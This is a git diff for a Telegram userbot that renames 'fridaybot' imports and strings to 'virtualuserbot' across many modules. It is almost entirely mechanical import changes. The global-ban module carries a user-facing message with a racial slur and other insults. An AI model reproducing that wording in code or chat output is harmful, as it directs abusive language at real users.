virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/eval.py b/virtualuserbot/modules/eval.py index 6bf2f894..5b4cb5e2 100644 --- a/virtualuserbot/modules/eval.py +++ b/virtualuserbot/modules/eval.py @@ -8,7 +8,7 @@ import sys import traceback -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/exclusive.py b/virtualuserbot/modules/exclusive.py index 10eaccb6..6fe77173 100644 --- a/virtualuserbot/modules/exclusive.py +++ b/virtualuserbot/modules/exclusive.py @@ -4,8 +4,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError diff --git a/virtualuserbot/modules/execmod.py b/virtualuserbot/modules/execmod.py index 5e7a6f83..75092ecc 100644 --- a/virtualuserbot/modules/execmod.py +++ b/virtualuserbot/modules/execmod.py @@ -9,7 +9,7 @@ from asyncio import create_subprocess_exec as asyncrunapp from asyncio.subprocess import PIPE as asyncPIPE -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/extra.py b/virtualuserbot/modules/extra.py index 1839ce7f..cb3c0ac9 100644 --- a/virtualuserbot/modules/extra.py +++ b/virtualuserbot/modules/extra.py @@ -2,8 +2,8 @@ import time from collections import deque -from fridaybot import CMD_HELP, bot -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import friday_on_cmd from telethon.tl.functions.channels import LeaveChannelRequest @@ -115,7 +115,7 @@ async def _(event): CMD_HELP.update({"moon": "Bot will send a cool moon animation."}) CMD_HELP.update({"clock": "Bot will send a cool clock animation."}) CMD_HELP.update({"readme": "Reedme."}) -CMD_HELP.update({"source": "Gives the source of your fridaybot"}) +CMD_HELP.update({"source": "Gives the source of your virtualuserbot"}) CMD_HELP.update({"myusernames": "List of Usernames owned by you."}) CMD_HELP.update({"oof": "Same as ;__; but ooof"}) CMD_HELP.update({"earth": "Sends Kensar Earth animation"}) diff --git a/virtualuserbot/modules/extra1.py b/virtualuserbot/modules/extra1.py index 145c9c38..8331d958 100644 --- a/virtualuserbot/modules/extra1.py +++ b/virtualuserbot/modules/extra1.py @@ -13,8 +13,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern=r"chod")) diff --git a/virtualuserbot/modules/extranotes.py b/virtualuserbot/modules/extranotes.py index edf97f8a..c746874f 100644 --- a/virtualuserbot/modules/extranotes.py +++ b/virtualuserbot/modules/extranotes.py @@ -1,4 +1,4 @@ -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/eye.py b/virtualuserbot/modules/eye.py index decec4db..da3d3f6f 100644 --- a/virtualuserbot/modules/eye.py +++ b/virtualuserbot/modules/eye.py @@ -3,8 +3,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="eye")) diff --git a/virtualuserbot/modules/fakegen.py b/virtualuserbot/modules/fakegen.py index 4a761cc7..63a4c106 100644 --- a/virtualuserbot/modules/fakegen.py +++ b/virtualuserbot/modules/fakegen.py @@ -14,7 +14,7 @@ from faker import Faker from faker.providers import internet -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/fakeimagegen.py b/virtualuserbot/modules/fakeimagegen.py index afb8ccaa..6c2ab69b 100644 --- a/virtualuserbot/modules/fakeimagegen.py +++ b/virtualuserbot/modules/fakeimagegen.py @@ -15,8 +15,8 @@ import os import requests -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd # hmm @@ -36,7 +36,7 @@ async def _(event): fole = "FRIDAYOT.jpg" await borg.send_file(event.chat_id, fole, caption=captin) await event.delete() - os.system("rm /root/fridaybot/FRIDAYOT.jpg ") + os.system("rm /root/virtualuserbot/FRIDAYOT.jpg ") CMD_HELP.update( diff --git a/virtualuserbot/modules/fconvert.py b/virtualuserbot/modules/fconvert.py index 441d3827..4d8afcec 100644 --- a/virtualuserbot/modules/fconvert.py +++ b/virtualuserbot/modules/fconvert.py @@ -6,7 +6,7 @@ import time from datetime import datetime -from fridaybot.utils import friday_on_cmd, progress +from virtualuserbot.utils import friday_on_cmd, progress async def progress(current, total, event, start, type_of_ps, file_name=None): diff --git a/virtualuserbot/modules/fed_ban.py b/virtualuserbot/modules/fed_ban.py index a03b4167..d67fe3b2 100644 --- a/virtualuserbot/modules/fed_ban.py +++ b/virtualuserbot/modules/fed_ban.py @@ -1,13 +1,13 @@ import asyncio -from fridaybot.function import fetch_feds -from fridaybot.modules.sql_helper.feds_sql import ( +from virtualuserbot.function import fetch_feds +from virtualuserbot.modules.sql_helper.feds_sql import ( add_fed, get_all_feds, is_fed_indb, rmfed, ) -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd chnnl_grp = Config.FBAN_GROUP diff --git a/virtualuserbot/modules/ff_mpeg.py b/virtualuserbot/modules/ff_mpeg.py index 6d95b1b2..a3fcad6f 100644 --- a/virtualuserbot/modules/ff_mpeg.py +++ b/virtualuserbot/modules/ff_mpeg.py @@ -5,7 +5,7 @@ import time from datetime import datetime -from fridaybot.utils import friday_on_cmd, progress +from virtualuserbot.utils import friday_on_cmd, progress FF_MPEG_DOWN_LOAD_MEDIA_PATH = "uniborg.media.ffmpeg" diff --git a/virtualuserbot/modules/figlet.py b/virtualuserbot/modules/figlet.py index c6bac4a8..b4fc041f 100644 --- a/virtualuserbot/modules/figlet.py +++ b/virtualuserbot/modules/figlet.py @@ -1,6 +1,6 @@ import pyfiglet -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="figlet ?(.*)", outgoing=True)) diff --git a/virtualuserbot/modules/fileext.py b/virtualuserbot/modules/fileext.py index b5bdefdf..62857df7 100644 --- a/virtualuserbot/modules/fileext.py +++ b/virtualuserbot/modules/fileext.py @@ -2,7 +2,7 @@ Syntax: .filext EXTENSION""" import requests from bs4 import BeautifulSoup -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/filters.py b/virtualuserbot/modules/filters.py index 6de0a729..b40a8318 100644 --- a/virtualuserbot/modules/filters.py +++ b/virtualuserbot/modules/filters.py @@ -9,14 +9,14 @@ import asyncio import re -from fridaybot import CMD_HELP -from fridaybot.modules.sql_helper.filter_sql import ( +from virtualuserbot import CMD_HELP +from virtualuserbot.modules.sql_helper.filter_sql import ( add_filter, get_all_filters, remove_all_filters, remove_filter, ) -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from telethon import utils from telethon.tl import types @@ -36,7 +36,7 @@ async def on_snip(event): name = event.raw_text if event.chat_id in last_triggered_filters: if name in last_triggered_filters[event.chat_id]: - # avoid fridaybot spam + # avoid virtualuserbot spam # "I demand rights for us bots, we are equal to you humans." -Henri Koivuneva (t.me/UserbotTesting/2698) return False snips = get_all_filters(event.chat_id) diff --git a/virtualuserbot/modules/fleaveme.py b/virtualuserbot/modules/fleaveme.py index e6ef610c..176525e8 100644 --- a/virtualuserbot/modules/fleaveme.py +++ b/virtualuserbot/modules/fleaveme.py @@ -7,7 +7,7 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/font3.py b/virtualuserbot/modules/font3.py index 0606da91..57645dfd 100644 --- a/virtualuserbot/modules/font3.py +++ b/virtualuserbot/modules/font3.py @@ -1,5 +1,5 @@ -from fridaybot import CMD_HELP -from fridaybot.modules import fonts +from virtualuserbot import CMD_HELP +from virtualuserbot.modules import fonts from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/fonts2.py b/virtualuserbot/modules/fonts2.py index 8ae118b4..264a08d7 100644 --- a/virtualuserbot/modules/fonts2.py +++ b/virtualuserbot/modules/fonts2.py @@ -1,7 +1,7 @@ import random -from fridaybot import CMD_HELP -from fridaybot.modules import fonts +from virtualuserbot import CMD_HELP +from virtualuserbot.modules import fonts from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/football.py b/virtualuserbot/modules/football.py index b98cc6c7..24957aae 100644 --- a/virtualuserbot/modules/football.py +++ b/virtualuserbot/modules/football.py @@ -13,9 +13,9 @@ import requests -from fridaybot import CMD_HELP -from fridaybot.Configs import Config -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.Configs import Config +from virtualuserbot.utils import admin_cmd @friday.on(admin_cmd(pattern="fpl")) diff --git a/virtualuserbot/modules/fridaybot.py b/virtualuserbot/modules/fridaybot.py index e681f3dd..dc35b471 100644 --- a/virtualuserbot/modules/fridaybot.py +++ b/virtualuserbot/modules/fridaybot.py @@ -6,8 +6,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("virtualuserbot")) diff --git a/virtualuserbot/modules/fuck11.py b/virtualuserbot/modules/fuck11.py index 65c8a7fb..43ad2098 100644 --- a/virtualuserbot/modules/fuck11.py +++ b/virtualuserbot/modules/fuck11.py @@ -13,7 +13,7 @@ import random from asyncio import sleep -from fridaybot import CMD_HELP, bot +from virtualuserbot import CMD_HELP, bot from ..utils import admin_cmd, edit_or_reply, sudo_cmd @@ -277,7 +277,7 @@ async def runstrings(event): await edit_or_reply(event, txt) -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @bot.on(admin_cmd("newyear")) diff --git a/virtualuserbot/modules/funarts.py b/virtualuserbot/modules/funarts.py index 0afe32e1..d334a232 100644 --- a/virtualuserbot/modules/funarts.py +++ b/virtualuserbot/modules/funarts.py @@ -1,4 +1,4 @@ -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon.tl.types import ChannelParticipantsAdmins from ..utils import admin_cmd, sudo_cmd diff --git a/virtualuserbot/modules/funnyfonts.py b/virtualuserbot/modules/funnyfonts.py index 27d64bc4..12cb9257 100644 --- a/virtualuserbot/modules/funnyfonts.py +++ b/virtualuserbot/modules/funnyfonts.py @@ -2,8 +2,8 @@ import random import re -from fridaybot import CMD_HELP -from fridaybot.modules import fonts +from virtualuserbot import CMD_HELP +from virtualuserbot.modules import fonts from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/funtxt2.py b/virtualuserbot/modules/funtxt2.py index 98ba4df2..4180158f 100644 --- a/virtualuserbot/modules/funtxt2.py +++ b/virtualuserbot/modules/funtxt2.py @@ -1,5 +1,5 @@ import nekos -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/fwd.py b/virtualuserbot/modules/fwd.py index 7554c8a9..71d2540b 100644 --- a/virtualuserbot/modules/fwd.py +++ b/virtualuserbot/modules/fwd.py @@ -1,8 +1,8 @@ """Enable Seen Counter in any message,Credits To Xtra-Tg Owner to know how many users have seen your message Syntax: .fwd as reply to any message""" -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="frwd")) diff --git a/virtualuserbot/modules/gamersdp.py b/virtualuserbot/modules/gamersdp.py index ca2c062d..f8ce6b9a 100644 --- a/virtualuserbot/modules/gamersdp.py +++ b/virtualuserbot/modules/gamersdp.py @@ -5,8 +5,8 @@ import urllib import requests -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from telethon.tl import functions COLLECTION_STRINGZ = [ diff --git a/virtualuserbot/modules/games.py b/virtualuserbot/modules/games.py index 9994a4e1..991acfb2 100644 --- a/virtualuserbot/modules/games.py +++ b/virtualuserbot/modules/games.py @@ -5,7 +5,7 @@ import re -from fridaybot import bot +from virtualuserbot import bot from ..utils import admin_cmd diff --git a/virtualuserbot/modules/gangasta.py b/virtualuserbot/modules/gangasta.py index 80df6a37..171576b2 100644 --- a/virtualuserbot/modules/gangasta.py +++ b/virtualuserbot/modules/gangasta.py @@ -1,7 +1,7 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("gangasta ?(.*)")) diff --git a/virtualuserbot/modules/gdbye.py b/virtualuserbot/modules/gdbye.py index e541ebd4..64875451 100644 --- a/virtualuserbot/modules/gdbye.py +++ b/virtualuserbot/modules/gdbye.py @@ -5,7 +5,7 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/get_admin.py b/virtualuserbot/modules/get_admin.py index 8757b010..4c990924 100644 --- a/virtualuserbot/modules/get_admin.py +++ b/virtualuserbot/modules/get_admin.py @@ -1,7 +1,7 @@ """Get Administrators of any Chat* Syntax: .get_admin""" -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from telethon.tl.types import ( ChannelParticipantAdmin, ChannelParticipantCreator, diff --git a/virtualuserbot/modules/get_bot.py b/virtualuserbot/modules/get_bot.py index b4358d29..733a3844 100644 --- a/virtualuserbot/modules/get_bot.py +++ b/virtualuserbot/modules/get_bot.py @@ -1,7 +1,7 @@ """ Get the Bots in any chat* Syntax: .get_bot""" -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from telethon.tl.types import ChannelParticipantAdmin, ChannelParticipantsBots diff --git a/virtualuserbot/modules/get_id.py b/virtualuserbot/modules/get_id.py index 65108f07..eea62901 100644 --- a/virtualuserbot/modules/get_id.py +++ b/virtualuserbot/modules/get_id.py @@ -1,7 +1,7 @@ """Get ID of any Telegram media, or any user Syntax: .get_id""" -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from telethon.utils import pack_bot_file_id diff --git a/virtualuserbot/modules/gettime.py b/virtualuserbot/modules/gettime.py index f99a23fa..e23ae2d3 100644 --- a/virtualuserbot/modules/gettime.py +++ b/virtualuserbot/modules/gettime.py @@ -1,6 +1,6 @@ from datetime import datetime -from fridaybot.utils import edit_or_reply, friday_on_cmd +from virtualuserbot.utils import edit_or_reply, friday_on_cmd @friday.on(friday_on_cmd("gettime ?(.*)")) # pylint:disable=E0602 diff --git a/virtualuserbot/modules/gizoogle.py b/virtualuserbot/modules/gizoogle.py index cb0502e4..27a2e777 100644 --- a/virtualuserbot/modules/gizoogle.py +++ b/virtualuserbot/modules/gizoogle.py @@ -2,7 +2,7 @@ import bs4 import requests -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/glitch.py b/virtualuserbot/modules/glitch.py index 60828e50..21f76b07 100644 --- a/virtualuserbot/modules/glitch.py +++ b/virtualuserbot/modules/glitch.py @@ -13,8 +13,8 @@ import os -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd from glitch_this import ImageGlitcher from telethon.tl.types import MessageMediaPhoto diff --git a/virtualuserbot/modules/google.py b/virtualuserbot/modules/google.py index 52e49ddf..25847add 100644 --- a/virtualuserbot/modules/google.py +++ b/virtualuserbot/modules/google.py @@ -1,7 +1,7 @@ from re import findall -from fridaybot import CMD_HELP -from fridaybot.utils import register +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import register from search_engine_parser import GoogleSearch diff --git a/virtualuserbot/modules/got_memes.py b/virtualuserbot/modules/got_memes.py index c47ba987..f3f6d807 100644 --- a/virtualuserbot/modules/got_memes.py +++ b/virtualuserbot/modules/got_memes.py @@ -7,7 +7,7 @@ import asyncio import random -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/got_thoughts.py b/virtualuserbot/modules/got_thoughts.py index 349cec4a..09cf9cdf 100644 --- a/virtualuserbot/modules/got_thoughts.py +++ b/virtualuserbot/modules/got_thoughts.py @@ -9,7 +9,7 @@ import asyncio import random -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/gprod.py b/virtualuserbot/modules/gprod.py index 3cf54201..8df9867c 100644 --- a/virtualuserbot/modules/gprod.py +++ b/virtualuserbot/modules/gprod.py @@ -1,7 +1,7 @@ # made by @danish_00 with sh1vam for DARKCOBRA USERBOT. JUST COPIED TO VIRTUALUSERBOT # made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam#made by @danish_00 with sh1vam marculs = 9 -from fridaybot import bot as borg +from virtualuserbot import bot as borg from telethon.tl.functions.channels import EditAdminRequest from telethon.tl.types import ChatAdminRights, MessageEntityMentionName diff --git a/virtualuserbot/modules/gps2.py b/virtualuserbot/modules/gps2.py index ca2b4d7d..60acd0bb 100644 --- a/virtualuserbot/modules/gps2.py +++ b/virtualuserbot/modules/gps2.py @@ -1,6 +1,6 @@ import re -from fridaybot import CMD_HELP, bot +from virtualuserbot import CMD_HELP, bot from geopy.geocoders import Nominatim from telethon.tl import types diff --git a/virtualuserbot/modules/greetings.py b/virtualuserbot/modules/greetings.py index f1aab600..0f770f13 100644 --- a/virtualuserbot/modules/greetings.py +++ b/virtualuserbot/modules/greetings.py @@ -1,6 +1,6 @@ import random -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/gtools.py b/virtualuserbot/modules/gtools.py index 1a5b2c9a..7b150c57 100644 --- a/virtualuserbot/modules/gtools.py +++ b/virtualuserbot/modules/gtools.py @@ -1,8 +1,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.modules.sql_helper.mute_sql import is_muted, mute, unmute -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.modules.sql_helper.mute_sql import is_muted, mute, unmute +from virtualuserbot.utils import friday_on_cmd from telethon.events import ChatAction from telethon.tl.functions.contacts import BlockRequest, UnblockRequest from telethon.tl.types import MessageEntityMentionName @@ -49,27 +49,27 @@ async def get_user_sender_id(user, event): @friday.on(friday_on_cmd(pattern="gban ?(.*)")) -async def gspider(fridaybot): - lol = fridaybot +async def gspider(virtualuserbot): + lol = virtualuserbot sender = await lol.get_sender() me = await lol.client.get_me() if not sender.id == me.id: friday = await lol.reply("Gbanning This User !") else: friday = await lol.edit("Wait Processing.....") - me = await fridaybot.client.get_me() + me = await virtualuserbot.client.get_me() await friday.edit(f"Global Ban Is Coming ! Wait And Watch You Nigga") my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id) f"@{me.username}" if me.username else my_mention - await fridaybot.get_chat() + await virtualuserbot.get_chat() a = b = 0 - if fridaybot.is_private: - user = fridaybot.chat - reason = fridaybot.pattern_match.group(1) + if virtualuserbot.is_private: + user = virtualuserbot.chat + reason = virtualuserbot.pattern_match.group(1) else: - fridaybot.chat.title + virtualuserbot.chat.title try: - user, reason = await get_full_user(fridaybot) + user, reason = await get_full_user(virtualuserbot) except: pass try: @@ -83,21 +83,21 @@ async def gspider(fridaybot): f"**Didn't , Your Father Teach You ? That You Cant Gban Dev**" ) try: - from fridaybot.modules.sql_helper.gmute_sql import gmute + from virtualuserbot.modules.sql_helper.gmute_sql import gmute except: pass try: - await fridaybot.client(BlockRequest(user)) + await virtualuserbot.client(BlockRequest(user)) except: pass - testfridaybot = [ + testvirtualuserbot = [ d.entity.id - for d in await fridaybot.client.get_dialogs() + for d in await virtualuserbot.client.get_dialogs() if (d.is_group or d.is_channel) ] - for i in testfridaybot: + for i in testvirtualuserbot: try: - await fridaybot.client.edit_permissions(i, user, view_messages=False) + await virtualuserbot.client.edit_permissions(i, user, view_messages=False) a += 1 await friday.edit(f"**GBANNED // Total Affected Chats **: `{a}`") except: @@ -115,27 +115,27 @@ async def gspider(fridaybot): @friday.on(friday_on_cmd(pattern="ungban ?(.*)")) -async def gspider(fridaybot): - lol = fridaybot +async def gspider(virtualuserbot): + lol = virtualuserbot sender = await lol.get_sender() me = await lol.client.get_me() if not sender.id == me.id: friday = await lol.reply("`Wait Let Me Process`") else: friday = await lol.edit("One Min ! ") - me = await fridaybot.client.get_me() + me = await virtualuserbot.client.get_me() await friday.edit(f"Trying To Ungban User !") my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id) f"@{me.username}" if me.username else my_mention - await fridaybot.get_chat() + await virtualuserbot.get_chat() a = b = 0 - if fridaybot.is_private: - user = fridaybot.chat - reason = fridaybot.pattern_match.group(1) + if virtualuserbot.is_private: + user = virtualuserbot.chat + reason = virtualuserbot.pattern_match.group(1) else: - fridaybot.chat.title + virtualuserbot.chat.title try: - user, reason = await get_full_user(fridaybot) + user, reason = await get_full_user(virtualuserbot) except: pass try: @@ -147,21 +147,21 @@ async def gspider(fridaybot): if user.id == 1263617196: return await friday.edit("**You Cant Ungban A Dev !**") try: - from fridaybot.modules.sql_helper.gmute_sql import ungmute + from virtualuserbot.modules.sql_helper.gmute_sql import ungmute except: pass try: - await fridaybot.client(UnblockRequest(user)) + await virtualuserbot.client(UnblockRequest(user)) except: pass - testfridaybot = [ + testvirtualuserbot = [ d.entity.id - for d in await fridaybot.client.get_dialogs() + for d in await virtualuserbot.client.get_dialogs() if (d.is_group or d.is_channel) ] - for i in testfridaybot: + for i in testvirtualuserbot: try: - await fridaybot.client.edit_permissions(i, user, send_messages=True) + await virtualuserbot.client.edit_permissions(i, user, send_messages=True) a += 1 await friday.edit(f"**UNGBANNING // AFFECTED CHATS - {a} **") except: @@ -182,7 +182,7 @@ async def gspider(fridaybot): async def handler(rkG): if rkG.user_joined or rkG.user_added: try: - from fridaybot.modules.sql_helper.gmute_sql import is_gmuted + from virtualuserbot.modules.sql_helper.gmute_sql import is_gmuted guser = await rkG.get_user() gmuted = is_gmuted(guser.id) diff --git a/virtualuserbot/modules/hack.py b/virtualuserbot/modules/hack.py index 334caf0f..03e3338c 100644 --- a/virtualuserbot/modules/hack.py +++ b/virtualuserbot/modules/hack.py @@ -5,7 +5,7 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon.tl.functions.users import GetFullUserRequest from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/hash.py b/virtualuserbot/modules/hash.py index 058e0eca..352b0b78 100644 --- a/virtualuserbot/modules/hash.py +++ b/virtualuserbot/modules/hash.py @@ -9,8 +9,8 @@ from subprocess import run as runapp import pybase64 -from fridaybot import CMD_HELP -from fridaybot.events import errors_handler, register +from virtualuserbot import CMD_HELP +from virtualuserbot.events import errors_handler, register @register(outgoing=True, pattern="^.hash (.*)") diff --git a/virtualuserbot/modules/heroku.py b/virtualuserbot/modules/heroku.py index 39b8d5d4..27c44b09 100644 --- a/virtualuserbot/modules/heroku.py +++ b/virtualuserbot/modules/heroku.py @@ -1,7 +1,7 @@ # Copyright (C) 2020 Adek Maulana. # All rights reserved. """ - Heroku manager for your fridaybot + Heroku manager for your virtualuserbot """ import asyncio @@ -10,8 +10,8 @@ import heroku3 import requests -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from telegraph import Telegraph telegraph = Telegraph() diff --git a/virtualuserbot/modules/heroku_help.py b/virtualuserbot/modules/heroku_help.py index 2ff2fc13..e9710821 100644 --- a/virtualuserbot/modules/heroku_help.py +++ b/virtualuserbot/modules/heroku_help.py @@ -4,8 +4,8 @@ import heroku3 import requests -from fridaybot.function.heroku_helper import HerokuHelper -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot.function.heroku_helper import HerokuHelper +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd Heroku = heroku3.from_key(Var.HEROKU_API_KEY) heroku_api = "https://api.heroku.com" diff --git a/virtualuserbot/modules/hotstar.py b/virtualuserbot/modules/hotstar.py index ec1baedc..ce7bf763 100644 --- a/virtualuserbot/modules/hotstar.py +++ b/virtualuserbot/modules/hotstar.py @@ -1,7 +1,7 @@ import json import requests -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd url = "https://api.hotstar.com/in/aadhar/v2/web/in/user/login" headers = { diff --git a/virtualuserbot/modules/howtogoogle.py b/virtualuserbot/modules/howtogoogle.py index 27002f09..0688111c 100644 --- a/virtualuserbot/modules/howtogoogle.py +++ b/virtualuserbot/modules/howtogoogle.py @@ -6,8 +6,8 @@ """ import requests -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("ggl (.*)")) diff --git a/virtualuserbot/modules/hyperlink.py b/virtualuserbot/modules/hyperlink.py index 2ebb9523..311c3eca 100644 --- a/virtualuserbot/modules/hyperlink.py +++ b/virtualuserbot/modules/hyperlink.py @@ -2,8 +2,8 @@ # By Priyam Kalra # Syntax (.hl ) -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="hl ?(.*)")) diff --git a/virtualuserbot/modules/iffuci.py b/virtualuserbot/modules/iffuci.py index dccb990b..6a372025 100644 --- a/virtualuserbot/modules/iffuci.py +++ b/virtualuserbot/modules/iffuci.py @@ -5,7 +5,7 @@ from datetime import datetime import requests -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd def progress(current, total): diff --git a/virtualuserbot/modules/ifsc.py b/virtualuserbot/modules/ifsc.py index 49f1d23d..5dc8456f 100644 --- a/virtualuserbot/modules/ifsc.py +++ b/virtualuserbot/modules/ifsc.py @@ -12,7 +12,7 @@ # along with this program. If not, see . import requests -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/imageenc.py b/virtualuserbot/modules/imageenc.py index 7fc1fa15..c769a11e 100644 --- a/virtualuserbot/modules/imageenc.py +++ b/virtualuserbot/modules/imageenc.py @@ -6,9 +6,9 @@ import os import requests -from fridaybot import ALIVE_NAME, CMD_HELP -from fridaybot import bot -from fridaybot import bot as borg +from virtualuserbot import ALIVE_NAME, CMD_HELP +from virtualuserbot import bot +from virtualuserbot import bot as borg from ..utils import admin_cmd diff --git a/virtualuserbot/modules/imagefun.py b/virtualuserbot/modules/imagefun.py index fae3cb4d..da9df719 100644 --- a/virtualuserbot/modules/imagefun.py +++ b/virtualuserbot/modules/imagefun.py @@ -12,8 +12,8 @@ import cv2 import numpy as np import requests -from fridaybot import CMD_HELP, bot -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import admin_cmd from PIL import Image, ImageDraw from telegraph import upload_file diff --git 